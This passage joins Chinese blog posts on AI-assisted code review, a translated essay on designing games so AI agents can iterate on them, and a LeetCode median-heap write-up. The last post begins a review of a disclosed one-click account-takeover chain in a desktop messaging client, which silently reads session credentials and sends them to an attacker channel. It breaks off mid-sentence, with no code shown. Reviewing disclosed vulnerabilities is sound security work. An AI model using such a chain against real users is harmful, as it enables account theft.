结合网友的评论,分享一下: 1、提交 PR 前,先让 Agent 跑测试、构建或检查页面,拿出实际结果,再用全新上下文的 Agent 检查 diff。项目约定放在 `CLAUDE.md`,审查重点放在 `REVIEW.md`,发现问题要指出文件和行号。 不过,把更多代码交给 AI 审查之后,人通过什么方式了解代码,也需要考虑。评论里有人担心团队越来越依赖 AI 的解释,也有人认为,大型项目本来就没人掌握所有细节,按需生成模块说明和图示很有用。我感觉,可以让 AI 帮忙梳理,但涉及自己负责的改动,还是要沿着具体输入和执行路径走一遍,知道测试覆盖了什么、还漏了什么。 2、人工审查按风险分配。符合条件的可信作者提交低风险改动,可以在自动检查通过后合并;风险更高的改动需要一到两人批准,AI 的批准不能代替这里要求的人类批准。发起改动的人仍然要对结果负责。 这里有条评论很值得留意:AI 可能不断新增实现,却没有复用已有逻辑。每个 PR 单独看都能工作,等公共需求变化时,才发现多个地方都要修改。我觉得这也是人需要参与判断的地方。比如新增缓存,除了看读写是否正确,还要看看项目里有没有类似机制,是否值得再维护一套。**局部功能做对了,仍然可能给整个项目增加维护负担。** 3、审查的轮数也要控制。他们遇到过 Agent 一夜互相审查、修改超过 50 轮的情况,后来增加轮数限制,几轮之后只看新增 diff,并且不重复报告已经提出的问题。 这也对应了评论里对成本的提醒:有读者把这类经验比作 Google 的基础设施文章,模型公司的资源条件和普通团队不同,多 Agent、多轮审查不能直接照搬。对自己的项目来说,我会更关心每轮究竟发现了什么,以及这些问题是否值得再改一遍。反复修改却没有明确收益,就应该停下来重新看方案。 4、审查工具本身也需要验证。他们把历史事故和回滚整理成评测集,检查 reviewer 能否发现已知问题,同时用没有已知问题的 PR 检查误报,上线后还有灰度和快速回滚。 ## Tips 1、一个任务重复了几次之后,可以有意思的让 AI 帮忙整合成 skills。 2、代码中的一些 AI 看来「不合理」的架构或者其他问题,如果不想修改的话尽量自己单独写一下,防止 AI 每一次都想「反向优化」。 ## Share 原文:https://lore.kernel.org/lkml/CAHk-=whTs09_ozN+e09GU68N1wPP56MUzDjrg9rnKxQUa0A_4Q@mail.gmail.com/?utm_source=chatgpt.com Linus 反对用「某件事不准使用 AI」来规定开发方式,同时强调:**贡献者要尽力做好工作,并且理解自己在做什么。** 他的反问很有意思:如果一定要靠不用工具证明能力,那是不是也该禁止编译器,要求大家手写汇编?是不是连编辑器也不能用,免得退格键掩盖了打字错误?他借这个类比说明,使用什么工具,并不能直接说明一个人是否理解自己的工作。 我的理解是,这个观点落到 vibe coding 上,关键就在「理解」两个字。让 AI 帮忙实现一个想法之后,自己还得知道它为什么这样实现、在哪些条件下成立,以及哪里可能出问题。仅凭「页面能打开」「测试全绿」,还不足以回答这些问题。 比如让 AI 写一个文件清理脚本,最容易验证的是它能不能删掉目标文件。但我还会关心:路径为空怎么办,匹配范围会不会扩大,遇到符号链接怎么处理?这些问题如果自己都没想过,就很难判断 AI 给出的实现是否符合真正的需求。 放到前面的 code review 话题里也是一样。AI 可以帮忙解释陌生模块、寻找问题、补充验证,但我需要知道这些检查覆盖到了哪里。尤其是自己不熟悉的代码,应该把改动拆小,沿着输入到输出的过程看明白,再决定是否接受。 **可以把更多编写工作交给 AI,理解和判断仍然需要自己参与。** 这样节省下来的时间,才有机会用来想清楚需求和实现,而不是等出问题之后再从头认识自己的代码。
你的游戏本身就是 Harness:如何让 AI Agent 读懂游戏并高速迭代?(译文)
> 原文:[Your Game Is A Harness](https://kylekukshtel.com/ai-harness-engineering-game-development-claude-code) 作者:Kyle Kukshtel(独立游戏《Cantata》制作人、Depot 游戏数据编辑器作者、15 年资深游戏工程师) 注意下面文章中的 "我" 均指的是原文的作者!  ## 序言:从 Web 的丝滑到游戏的撞墙 我想聊一聊**在真实的游戏开发中如何使用大语言模型**。我指的不是那些在社交媒体上看起来很炫酷、但仅能一键生成玩具项目的「One-shot」型 Demo,而是**真正的全职研发**,那种你每周工作 5 天、每天扎实写上 8 个小时代码的工程环境。 在深入正题之前,我认为有必要先在 LLM 的认知上达成共识,或者至少厘清一些基本常识,这样后续的内容才不至于显得突兀。对于不少已经熟悉这一领域的开发者来说,这部分或许只是温故知新;如果你只想直奔干货,可以直接向下划到下一章节。 我将 LLM 引入日常开发工作的旅程,始于我做的一个名为 [mood.site](https://www.mood.site) 的情绪板网站。那时行业里还根本没有所谓的「智能体」概念,我当时纯粹只是想测试一下当时的 ChatGPT 究竟能不能写出像样的代码。用过最开始 GPT 的了解,当时如果用 web 端编码是非常原始笨拙。体验虽然痛苦,但结果却令我眼前一亮。尽管当时我依然需要自己手动核验相当多的逻辑,但那次体验足以彻底将我转化为 AI 编程的信徒。如果没有 LLM,我绝不可能在那么短的时间内把它做出来(利用晚上下班时间,耗时约 2 到 3 周,累计大约 20 个小时)。如果是纯靠自己从零手敲,我可能到今天还在折腾它的第一个版本。 从那之后,`mood` 成为了我在 LLM 技术演进过程中的试验田,并激励我启动了许多采用类似技术栈的新项目。此外,随着 Claude Code 以及后续顶尖 Claude 模型的诞生,LLM 的工程能力迎来了质的飞跃。以我个人的亲身体验而言,我认为当面对一个现代 Web 技术栈时,LLM **几乎没有什么做不到的事情**。 看到这里,人们很容易得出「LLM 已经无所不能」的结论,毕竟当今软件工程的大半壁江山都是 Web 软件。然而,每当我试图把 LLM 应用于构建任何非 Web 的**游戏开发**场景时,事情就变得不一样了:  ## 大语言模型根本不擅长做游戏 每次我尝试让 LLM 去处理与游戏相关的系统时,它几乎必定会原地翻车。 这可能包含我个人的职业偏见。我已经做了近 15 年的游戏程序员,自认为对游戏底层的运转逻辑了如指掌,我能在一英里外一眼嗅出糟糕的游戏代码长什么样。但如果是 Svelte (Svelte 是新一代的 Web 前端框架)编写的 Web 应用,我的涉猎显然没那么深,所以我更容易倾向于觉得 LLM 写出来的 Web 代码「还挺不错的」。也许它在资深前端眼里其实也是一堆垃圾?但我们确实有充分的理由相信,LLM 产出的 Svelte 和 Web 全栈代码质量客观上更高,这很大程度上得益于开源世界中存在着**海量高质量的 Web 开源项目**供模型训练。相比之下,公开可供训练的高质量游戏源码数量,其量级要少上好几个数量级。 不仅如此,游戏内部还包含着浩如烟海的**非代码内容**。游戏绝不仅仅是将静态图片和文字摆放到页面布局中那么简单。游戏世界里有大量根本无法简单用代码表征的复杂资产。*更致命的是*,在此之上,游戏依然需要处理所有类似于 Web 排版布局的事情,但这仅仅是游戏不得不处理的 100 多个独立子系统中的冰山一角而已。 这也是为什么许多开发者热衷于用 Three.js 来制作 AI 演示游戏的原因之一:他们可以非常轻松地把所有资产全部抽象为基础的几何方块,从而跳过游戏研发中通常不可或缺的资产生成、格式适配与管线预处理。其代价就是,很多此类作品充斥着浓郁的「工业垃圾」味,因为除了 LLM 预训练集的中庸风格之外,它们没有任何真正的作者表达。 然而,这套思路并非完全一无是处。  One-shot Three.js 工作流的核心逻辑(以及 LLM 构建 Web 应用的高超熟练度)在于:**一切皆代码**。当万物皆以纯文本代码的形式存在时,LLM 就能极其轻松地理解上下文、进行推演并执行修改。  然而,对于传统游戏开发而言,情况根本不是这样。或者说,代码远不是全部的故事。游戏当然有代码,但还包含着极多**非代码资产**。这意味着,游戏中存在着大量对 LLM 而言**完全不透明**的关键组件。如果你的游戏核心逻辑依赖于操纵与转换这些大模型看不见的黑盒资产,那么 LLM 在尝试修改你的游戏时必定会当场崩溃。  我认为很多游戏开发者在前阵子都尝试过使用 LLM,并且无一例外地一头撞上了这堵南墙。「LLM 很烂/在游戏里根本派不上用场」的舆论呼声由此应运而生。  简而言之:**从底层结构来看,LLM 在默认状态下根本读不懂游戏。** ## 大语言模型极简常识与上下文管理 让我们进一步剖析其中的根本原因,以及我们究竟该如何逆转这一局面。 向任何 LLM 服务发起的一次提示词调用,本质上都可以拆解为三个基本组件:系统提示词、助手提示词和用户提示词。  - **系统提示词**:对所有用户通用的通用指令。它通常用于定义模型自身的基本人设与规则,比如「你是由 Anthropic 训练的智能大语言模型 Claude…」。这并非不重要(它非常重要),但与我们今天讨论的具体场景关联不大。[你可以在这里查看各大厂商泄露的系统提示词案例](https://github.com/asgeirtj/system_prompts_leaks)。 - **助手提示词**:你可以将其视为用于指导 AI 响应方式的边车结构,它代表了模型根据某些输入给出的历史回复向量。平时你一般不需要直接操心它。 - **用户提示词**:**这就是重中之重了**。你在任何 AI 工具中输入的几乎所有内容都会落入这里。所有的聊天、附带的代码、报错日志等,都被倾倒进这个区域。当人们谈论「上下文」时,绝大多数时候指的正是「用户与助手提示词中累积的 Token 数量」。 人们很容易产生一种误解,以为对话框里的每一次聊天都是一个独立的「崭新」版本。但实际的运转机制是:当你在某个会话中与模型协作时(不同工具的会话边界定义不同,比如关闭 Claude Code 前的单一终端 Session,或是网页侧边栏中的一次独立 Chat),**你此前发送过的每一条历史消息,都会在你发送新消息时,被完完整整地重新提交给模型**。 这就像小时候在操场上玩的接龙游戏:轮到你发言时,你必须把前面所有人说过的话**从头到尾复述一遍**,然后再在最后补上你自己的新内容。  ## 上下文与上下文污染 当你一遍又一遍地重复这一过程时,当前会话中的「上下文」就会急剧膨胀。  这听起来很顺理成章,但请注意一个致命陷阱:**你真正能够直接干预的,永远只有上下文中「最新」的那一条消息**。先前消息中的所有内容,都会被机械地一遍遍重复提交给模型。 因此,你必须竭尽全力确保留在上下文里的全是「优质信息」。否则,你就会陷入极度恶劣的退化场景:**前期产生的劣质信息(错误尝试、幻觉代码、无效日志)会形成持续的「上下文污染」,源源不断地误导模型后续的所有推理**。  正是在这种物理约束下,管理上下文成为了驾驭 LLM 的决定性技艺,业界也随之诞生了一门全新的工程实践:**上下文工程**。上下文工程的核心灵魂可以概括为一个问题:**「我们如何以最低限度的污染,把最精准、最有效的高质量信息注入上下文中?」** Daniel Breunig 曾写过一篇极具启发性的深度长文《[长上下文失效的典型模式及修复之道](https://www.dbreunig.com/2025/06/22/how-contexts-fail-and-how-to-fix-them.html)》,其中提炼出了一个极具穿透力的结论:  上下文工程本身是一个无比宏大的课题,超出了本文的讨论范畴,但我们接下来将深度借鉴其核心法则,来解决「如何让 LLM 在游戏开发中大显身手」的命题。 换句话说:**让 LLM 胜任游戏开发,本质上是一个「上下文工程」问题,而绝非因为游戏或 LLM 在先天基因上有什么不可调和的互斥缺陷!**  然而,这里的复杂之处在于:**游戏太特殊了**。或者说得更直白些:人类从来没有一套标准化的模板来指导如何制作一款游戏。我们虽然有诸如 Unity、Unreal 这样的商用游戏引擎,但在具体工具流层面几乎是零标准化的:每一款游戏都会根据自身的机制需求,演化出截然不同的架构形态。 ## 什么是「脚手架」? 这种在标准化工具上的缺失在游戏领域尤为尖锐,但在其他尖端技术领域也屡见不鲜。正因如此,一个全新的概念应运而生,用于指挥智能体高效操纵复杂的工程产物,这就是**脚手架**。  所谓「Harness(脚手架/拘束具/线束)」,其核心理念是指:**为智能体预先设定好的一套标准行动模式与交互契约,使其能够针对明确(或宽泛)的输入指令做出精准响应。** 你现在日常使用的 Claude Code、Cursor 本身就是一种通用的 Harness;但它们完全可以针对你所从事的*具体业务领域*进行扩展、蒸馏与定制。最近业内在这一领域动作频频,涌现出了海量针对不同软件开发周期的定制 Harness:  这些优秀 Harness 的共同追求只有一件事:**「Agent 如何更清晰地理解自己正在构建的对象,并在开发推进的全流程中进行精确引导?」** 一个现代 Harness 可以集成浏览器自动化验证、遥测数据捕捉、性能分析,甚至贯穿整个软件研发生命周期,例如自动创建工单、更新设计文档等。 **然而,现存所有的通用 Harness 都有一个致命短板:它们根本无法与你的游戏内核对话。** 你的游戏对它们而言就像一个严密焊死的黑盒子。LLM 唯一能看见的,仅仅是代码编辑器里的文本字符。但正如我们前面所讨论的,对于游戏而言,纯文本代码根本无法代表游戏的真实运行状态。通用 Harness 本身并不能自动解决「游戏不仅仅是代码」这一核心痛点。 真正亟待解决的问题是:**我们必须想办法把游戏中所有的暗物质(状态、资源、物理、表现),转化为 LLM 能够理解与操纵的具象载体。** 我们必须亲手撬开游戏的黑盒,让游戏内部的运行细节变得对 LLM 处处透明、处处可寻址。  在当天的演讲现场,我放了一张极其幽默的幻灯片,宣称屏幕上的这根箭头就是整场演讲的全部真谛。虽然在博文里这个包袱的效果打了折扣,但我还是决定把它原汁原味地保留在这里:   现在,让我们撸起袖子,进入真正的工程实操方案。 # 让游戏对 AI Agent 透明可读 以下是我总结出的一组高度具象、立即可落地的游戏工程架构原则,旨在让你的游戏对 LLM 变得透明、易读且**可稳定操作**。 > 顺便插一句:即便完全抛开 AI 不谈,以下绝大多数建议对于游戏开发本身而言也是极佳的工程实践。有了 AI 的加持,它们会爆发出十倍的生产力;但就算你纯手写开发,遵循这些原则也会让你的代码架构更加干净优雅。 --- ## 1. 固定随机性 贯穿本文与整个演讲的核心主题,是**确定性**。 简而言之:**你能在多大程度上、以多高精度的代价,在游戏中 100% 还原某个极度特定的状态?** 我们的终极目标是:状态复现应当极度轻松、分毫不差。如果在项目快要完工的尾声才来临时补救这一点,将会极其痛苦,甚至不得不伤筋动骨地重构整个底层架构。 相反,如果你在敲下第一行代码之前就将这项约束确立为不可动摇的铁律,你就能在整个开发周期中彻底告别逻辑混乱代码的噩梦。 实现这一点的第一步非常直接:**在游戏启动之初,建立一个全局单一的随机种子源**。强制要求代码中任何涉及随机性的调用,全部走这个统一种子发生器。 这意味着你的游戏具备了在确定性条件下重现几乎任意游戏局面的能力。哪怕你的逻辑在 30 个不同的地方调用了 `Random.Float` 来决定怪物的行为,只要种子固定,第 30 次调用的数值在每一次运行时必定完全一致。确定性由此奠定。 ## 2. 视觉截图能力与图像差分 为什么确定性复现状态如此关键? 试想一下 Agent 正在进行数十轮自动化迭代,试图微调某个游戏界面的布局。如果 Agent 无法从零开始反复精确还原到完全一致的游戏现场,而是频繁受阻于状态复现失败,它的迭代就会彻底停滞。 而一旦 Agent 成功进入了特定状态并做出了修改,它该如何评估自己的改动是对是错? 最直观的途径自然是**截图**。绝大多数商用引擎都提供了现成的截图 API:  这里强烈建议在引擎中增加**自由切换 UI 层与玩法层渲染开关**的能力。这样你就可以在验证 UI 样式时关闭背景的动态 3D 渲染,彻底杜绝背景动画对视觉评测产生的干扰。 让 Agent 在修改前后分别截取「修改前」与「修改后」的图片,似乎是让它直观理解世界变化的绝佳方式。 **……真的是这样吗?**  事实极其残酷:当你直接将修改前后的两张大图扔给多模态大模型时,模型往往**极其难以准确识别细微的改动**,更不用说量化评估这一改动是否正在逼近最终目标。 这种来自海量原始像素的干扰本身就是一种隐蔽的「上下文污染」:**盲目向模型灌入高分辨率截图,会严重模糊其对任务进展的感知,最终导致 Agent 与人类双双陷入困惑。** 来看一个生动的现实案例:假设你截取了本次开发者大会的官网首页:  你的指令是:「把图中的骷髅变成海盗」。即便模型具备局部标注能力,除了你的核心修改区域外,**绿色区域内的大量无关像素**都会被一股脑塞进上下文:  绿色区域内的所有像素数据,本质上都是纯粹的**上下文噪点**。LLM 不仅在被迫分析你要求的修改,还在被动处理这整张图中的杂乱信息。 你必须迫使 LLM **只关注发生变化的局部**。如何做到? 答案是:**图像差分!**  就像我们在 Git 中对比代码 Diff 一样,如果你对两张图像进行数学差分并配合精准的局部裁剪,LLM 就能以极高的置信度直观看到变化,甚至能够获得一个**量化的相似度指标**。 幸运的是,你根本不需要从零手写算法。现在开源社区有一个非常优秀、免费且支持命令行的图像差分神器:[odiff](https://github.com/dmtrKovalenko/odiff)。  只要给它两张图片,`odiff` 就能瞬间计算出两者的差异,并直接输出一张高亮标注差异的 Diff 图像:  更绝妙的是,`odiff` 能够直接向标准输出打印出量化的相似度数值(比如 `85% similar`)。LLM 对这种纯文本数值极其敏感!在连续的 Agent 轮次中,它可以将这个百分比作为坚实的基准评估函数,自主朝着「降低差异/提高相似度」的目标稳步收敛。  但这还不是全貌。游戏绝不仅仅是静态的视觉画面。在视觉验证之下,还有一个更为关键的**内部状态推进循环**:  这个内部循环是 Agent 消耗最多时间的战场:在最终触发截图对比之前,它会在无视觉渲染的环境下自主跑上很多轮纯逻辑迭代。 我们的核心原则是:**确保每一次改动都是达成目标所需的最小改动,并能被毫秒级验证。** 你需要一个极其稳定、近乎「乏味」的代码基线,可以在近乎完全隔离的真空环境中执行推演,杜绝技术债务与面条代码的蔓延。 这就将我们引向了确定性状态的核心工程解法。  ## 3. 确定性状态与单一 Fat Struct 构架构 评估一款游戏架构离「确定性状态」有多近,有一个极其简单的试金石: **在你的游戏中,完整保存并精确加载一个特定状态有多容易?** 初学者常常把存档/读档当成开发后期才打补丁挂上去的一个普通「功能」;但是资深工程师深知,如果从开发的第一天起就将存读档机制融入整个架构设计,它将成为贯穿全生命周期的工程超能力。 让我们来看一种革命性的设计哲学:  大多数长期沉浸在传统面向对象层次结构中的游戏程序员,在项目快收尾时都会痛彻心扉地意识到屏幕上的这句话是多么真实:**「树就是狗」**。 当你审视具体逻辑时会发现,这两个在现实中天差地别、在 OOP 体系里继承链迥异的实体,从游戏底层代码的角度来看,实际上是同一种东西: - 树:拥有 Mesh(网格)、Collider(碰撞体)。 - 狗:拥有 Mesh、Collider,外加移动能力。 「移动」并不是狗独有的专属性质(游戏里其他东西也会移动)。因此,树和狗无非是若干组件的不同组合形式而已。在底层代码的视角下,它们完全是一回事。 这种洞察在初听时可能违背直觉,甚至让人感觉「不适」。但只要你打破这种执念,就会豁然开朗:你终于可以摆脱为了维持复杂 OOP 类层次结构而构建起来的那堵令人窒息的抽象之墙。 ### 拥抱 Thing 驱动开发 如果你把这个理念贯彻到底,你完全可以在游戏立项伊始就做出一个大胆假设:**游戏里的一切本质上都是同一种结构**(我们不妨直接将其定义为 `Thing` 结构体):  在这个结构体中,包含一些通用的基础属性数值,以及由 `isAlive` 标志表达的生命周期概念。至于实体的具体类别,纯粹由一个枚举字段 `Type` 来标识;具体的游戏逻辑代码根据枚举值进行分支处理。 **而事实证明,AI 简直爱死这种结构了!**  在这种架构下,你的对象模型拥有了**唯一的真理源**。反观传统的 OOP 架构:如果你为 100 种对象定义了 100 个继承类,AI 为了完成一个修改,就必须把这 100 个类及其隐式继承关系全部读进上下文。这会瞬间塞爆上下文窗口,让 AI 陷入严重的决策焦虑:*「我到底应该继承哪个基类?还是重构父类方法?亦或是新建一个派生类?」* 而在单一大结构体下,不存在任何模棱两可。AI 在**每一次**改动中,都清清楚楚地知道该去哪里下刀。 不仅如此,单一结构让存档和读档变得无比低幼和健壮:  当只有一种数据类型时,序列化和反序列化变成了单向直通的高速公路,进出只有一条标准管道。如果换成数十种派生类,你就会在反序列化时撞上由于对象依赖树引发的竞态条件,被迫去跟微软文档里令人头秃的「[多态反序列化](https://learn.microsoft.com/en-us/dotnet/standard/serialization/system-text-json/polymorphism#polymorphic-type-discriminators)」死磕。在游戏开发中,那里全是致命暗坑。 在 Thing 架构下,整场游戏无非就是一个巨大的 `List<Thing>` 列表。保存就是把这个列表一次性导出,加载则是完全对称的反向解析。枚举分支判断纯粹发生在反序列化后的逻辑层,清爽至极。 ## 4. 可寻址状态与命令模式 一旦你建立了上述基础,游戏其他模块的复杂度也会应声瓦解。  如果系统内只有一种对象类型,那么捕获并追踪状态变更就会变得极为简单,因为游戏里的**任何修改**,目标永远都明确指向那唯一的结构。 在此基础上,我们可以极其自然地引入经典的**命令模式**:  命令模式的核心思想是:**不再直接散落调用修改对象字段的裸函数,而是将每一次变更封装为一个(理想情况下可序列化的)命令对象。** 这些命令被排队送入统一的处理器,由处理器集中对对象实施变更。 看似多了一层间接引用,但它的威力惊人: 假设玩家在游戏中进行了一连串操作,触发了某个恶性 Bug。在传统模式下,你得想方设法联系玩家,尝试根据模糊的口述在自己的电脑上碰运气复现。 但在命令模式下,**你只需要拿到初始状态快照,然后原封不动地「回放」序列化后的命令流,就能百分之百精确重现该 Bug!** 更重要的是,这套机制不仅能供人类使用,**AI Agent 也可以全自动回放这一命令序列**,在其自主尝试修复代码的过程中,随时校验状态是否符合预期。  再往前迈一步:你甚至根本不需要在游戏客户端里手动操作来生成这些命令。你(或者 AI)可以在任何文本编辑器里手工编排一组 JSON 命令,然后直接注入到正在运行的游戏实例中执行,**全程无需任何代码编译!**  命令模式为 AI 提供了一个强类型的操作接口,让游戏变得**像木偶一样处处可操控**。 > **在免编译机制上停留片刻**:在你的游戏管线中,能通过无需重新编译的方式修改的东西越多,整个架构就越强大。这不仅仅关乎人类的开发舒适度,对于智能体循环更是决定性的:**Agent 无需等待漫长的 C++ / C# 编译与链接耗时,便能在数秒的极窄循环里飞速验证代码假设。** ## 5. 外部化数据管理 这自然引出了我的一个核心关注点:**数据管理**。让我们再次回顾前面的单一大结构体代码:  所谓「数据」,我指的是游戏用来描述实体底层静态特性的配置数据。在上面的示例中,`Type`、`attackDamage`、`walkSpeed`、`boatSpeed` 全都属于静态数据。它们构成了游戏中某些 `Thing` 存在的基础骨架。 许多人在写游戏时习惯把这些数值硬编码在 C# / C++ 类或结构体定义里。一旦想要修改某个单位的基础移速,就必须修改代码、等待编译、重新启动游戏。 在 Agent 的工作流中,这种需要重新编译的改动会产生巨大的摩擦损耗。 更好的做法是:**将所有的静态数据完全外部化为独立的数据资产(如 JSON、配置表),与逻辑代码彻底解耦。** 游戏启动时只需要把外部数据反序列化并灌入对象即可。修改数值变成了纯粹的数据文件修改,在游戏运行状态下秒级热重载。这种架构甚至允许任何没有引擎编辑器环境的协作者(策划、测试、甚至外包)直接拿发布出来的最终游戏客户端进行高速调优。  在我们制作独立策略战棋游戏《Cantata》时,这正是我们的标准研发管线。团队里 7 位非程序员成员全部使用游戏的日常构建版本,配合我开发的定制化数据编辑器 **Depot** 进行内容迭代。这套工作流极其高效,以至于我现在正在[将 Depot 打造为一个独立面向业界的商用产品](https://depot-editor.com/):  团队成员在 Depot 中修改数据,游戏构建版本实时反序列化生效,整个过程完全不需要我频繁重新打包。 同样的,**AI Agent 也可以轻易学会使用这些外部数据工具**。它能够像团队里的资深数值策划一样,直接调整数据文件并在游戏中秒级热重载验证,彻底移除了漫长编译周期的生产力瓶颈。  --- ## 6. 独立无头模拟黑盒 现在进入整套架构最深水区的核心原则:**黑盒游戏架构**。 在传统游戏开发中,核心逻辑往往与视觉渲染、UI 回调、音效播放紧紧缠绕在一起。角色发起攻击,脚本在同一帧内扣减血量、播放受击动画、更新血条 UI 并触发声效。 这种强耦合的恶果在于:**为了测试任何细微的逻辑分支,你必须把整个庞大的游戏完整跑起来**:所有 3D 模型必须加载、材质必须编译、关卡场景必须初始化。当出现 Bug 时,你根本无法快速断言究竟是模拟逻辑出了问题,还是模型网格损坏,抑或是 UI 绑定的空指针异常。 **一种远为优秀的架构是:将游戏的「模拟」逻辑,完全剥离于图形引擎之外,作为一个独立的、无头的纯代码动态链接库。** 引擎本身并不「拥有」游戏模拟内核,它仅仅是一个消费模拟计算结果的哑客户端。引擎与模拟内核之间,完全通过我们前面介绍的 **Command 对象** 进行通讯,其模式与现代 Web 开发中的客户端/服务端架构如出一辙:  - 引擎将玩家输入转化为 Command 发送给独立模拟内核。 - 模拟内核处理状态演算,将更新后的状态对象(或与上一帧的 State Diff 差异包)返回给引擎。 - 引擎根据收到的状态差异,只负责执行无脑的视觉渲染与动画播放,绝不掺杂任何核心裁决逻辑。 举个具体的物理位移例子: 角色从 A 点移动到 B 点,在表现层包含角色行走动画、骨骼转向、脚步声、视野迷雾更新。但在模拟内核眼中,位移**仅仅是坐标从 A 到 B 的数值变更**。 引擎提交一个位移指令,模拟内核判断该路径是否合法;如果合法,内核更新实体坐标,并将最新状态返回给引擎。引擎看到状态变化,在屏幕上把模型平滑插值移动过去。模拟内核是绝对的唯一真理源。  当你的模拟内核彻底独立于图形引擎存在时,一个巨大的红利随之而来:**任何实体都可以向你的核心无缝发送命令!**  - 网络模块可以发送指令(网络多人联机开发变得极其简单)。 - 单元测试脚本可以发送指令。 - **LLM / AI Agent 也可以直接向纯逻辑内核注入指令!** 传统的游戏单元测试往往因为环境依赖过重而举步维艰。但在独立模拟内核架构下,**你可以完全抛弃庞重的游戏引擎,使用最纯粹的标准 C# / C++ 命令行工具链,以极高的并发度在纯内存里秒级跑完数千轮自动化单元测试**。这正是 AI 最擅长、最喜欢的运行环境!  当你善用这种架构时,它将化身为游戏开发的超级动力。你可以把游戏当成一个纯粹的技术推演对象,彻底脱离沉重的视听资源开销。在真空环境中运行仿真、假设检验和自动化测试:  至此,在我们的整个飞轮运转图谱上,我们已经来到了接近终点的关键部位:我们拥有了确定性的输入参数,拥有了结构化且免编译的状态修改途径,并且能够在一个完全隔离的真空环境里毫秒级验证自己的改动。 ## 7. 影响评估与纯文本性能分析 在完成了确定性输入、免编译操控与隔离测试之后,我们来到了飞轮的最后一环:**我们如何确认所做的修改在整机性能上产生了预期的积极影响?**  传统的性能剖析高度依赖人工经验,开发者需要在 Unity Profiler、Unreal Insights 或 JetBrains dotMemory 中手动翻看调用栈与火焰图:  **这些图形工具是专为「人类肉眼」设计的。AI 极其讨厌这类不可交互的图形界面**(尽管 Unity 正在努力使其分析器对 Agent 更具可读性)。 AI 最擅长打交道的是**结构化纯文本**。如果性能分析工具能直接将采样快照输出为详尽的控制台文本报告,Agent 的迭代效率就会呈指数级飙升。 在这里,我强烈推荐一个免费、现代且支持命令行的性能分析利器:[samply](https://github.com/mstange/samply):  `samply` 可以轻松挂载到你的本地工程中,并将性能捕获结果直接 Dump 到终端。AI Agent 本身就熟读 `samply` 的源码与文档,它能够自主执行采样、解析性能热点行号、修改优化代码并重新采样验证,**实现完全自治的性能调优内循环。** ## 8. 闭环拼图:Agent 高速自主迭代飞轮 当我们把上述所有工具、架构与方法论串联在一起时,整个 AI 游戏工程化的终极全貌便浮出水面:  在这套以**数据导向、二进制级别隔离、全链路免编译**为核心的工程架构中,一个原本在传统引擎里需要耗费数分钟甚至数十分钟的 Agent 迭代轮次,被**无情压缩到了数秒之内**! 它从根本上消除了所有让大模型步履维艰的上下文盲区与编译等待。正是因为整个闭环运行得如此迅捷、精准,这套流程可以无差别地覆盖到开发过程中的**每一次微小改动**,而不再是等到积重难返时才做一次昂贵的集成测试。 重新审视这一全貌,你会发现:这就是专为游戏量身定制的终极 Harness。  剧透一下:**这并不是什么外部神秘工具,它就是你的游戏本身!** 任何一款游戏在架构之初都具备承载这一切的潜力。或者正如我们开篇所言:  感谢你的阅读!
ARTS 1011: 双堆动态对顶求中位数、IPC 注入与空密码串联接管账户与程序从不做决策
每周完成一个 ARTS: 至少做一个 leetcode 的算法题、阅读并点评至少一篇英文技术文章、学习至少一个技术技巧、分享一篇有观点和思考的技术文章。(也就是 Algorithm、Review、Tips、Share 简称 ARTS) ## Algorithm 这周写这个算法:https://leetcode.cn/problems/find-median-from-data-stream/description/?envType=study-plan-v2&envId=selected-coding-interview  最优解代码如下: 1)使用 PriorityQueue 分别维护两个部分,一边是较小部分的最大值,一边是较大部分的最小值。因为我们计算最小值,不需要全局有序,之需要部分有序就好了,并且这个 PriorityQueue 进行排序的时候还使用了完全二叉树,时间复杂度是 O(logN) 2)当我们一个数据过来的时候,需要先在小顶堆里面洗一下,拿到较大的一个数据放到 afterHeap 里面。并且需要注意,还需要维护一下这两个 Heap 的大小 3)当找到 middle 的时候,需要判断是奇数还是偶数。如果是奇数的话,那么只需要找到多的 Heap 的最大的一个就好了,也就是 beforeHeap 的最大的。如果是偶数的话,那么就需要两个 Heap 各自拿出来自己的堆顶元素,之后求平均值就好了。 ```java class MedianFinder { // 大顶堆:维护前半部分较小的数(堆顶是较小部分里的最大值) final PriorityQueue<Integer> beforeHeap = new PriorityQueue<>(Collections.reverseOrder()); // 小顶堆:维护后半部分较大的数(堆顶是较大部分里的最小值) final PriorityQueue<Integer> afterHeap = new PriorityQueue<>(); public MedianFinder() { } public void addNum(int num) { beforeHeap.offer(num); afterHeap.offer(beforeHeap.poll()); if (afterHeap.size() > beforeHeap.size()) { beforeHeap.offer(afterHeap.poll()); } } public double findMedian() { if (beforeHeap.size() > afterHeap.size()) { return beforeHeap.peek(); } else { return (beforeHeap.peek() + afterHeap.peek()) / 2.0; } } } ``` --- 下面是 PriorityQueue 比较的核心代码,我们一点一点说。 先看参数: 1)参数 k:是我们调用 offer 插入内容之前的 queue 的 size 2)参数 x:这个就是我们调用 offer 方法插入的内容 接下来看方法体,这个是使用数组进行完全二叉树,效率高还不需要维护指针,具体的动画演示放到了 https://siftup.vercel.app/ 我们来看一个相对复杂的案例,当前 queue 的数据是 [12,-3,8],如果把这个数据可视化成完全二叉树的话,那么就是下图的样式:  当我们插入 0 的时候,我们会先进行判断一下 parent 也就是 1 位置(内容是 12),判断是否小于 12 如果小于的话那就就会把 3 位置设置成 1 位置(也就是 12)的指,并且**不修改** 1 位置的内容。不用一个临时变量可以减少内存占用,简化代码。  之后 k 被赋值为 1 ,1 > 0 所以 while 循环继续,判断 parent 位置也就是 0 位置是否小于插入 x (这里是 0 ) 的值,此时是不小于的,所以直接 break 了。 结束 while 循环之后,我们把之前没有覆写的 k 位置,也就是第一次的 1 位置的内容设置为 x 也就是 0 ,至此方法结束  核心代码: ```java private void siftUpUsingComparator(int k, E x) { while (k > 0) { int parent = (k - 1) >>> 1; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0) break; queue[k] = e; k = parent; } queue[k] = x; } ``` ## Review 文章:https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/ 安全研究员 beaksec 披露了某社交软件 Windows 桌面端的一条完整漏洞利用链。攻击者只需诱导受害者点击一个经过重定向的恶意链接,即可在无任何确认弹窗的情况下,静默读取本地登录会话凭据并回传至攻击者控制的频道,从而一键接管受害者账户,全程无需受害者做任何额外操作。 **1. 单实例进程检测与本地 Socket IPC 序列化缺陷** 操作系统在遇到自定义协议链接时,会根据注册表启动对应的应用程序。如果某社交软件尚未运行,进程直接以单实例模式启动并解析 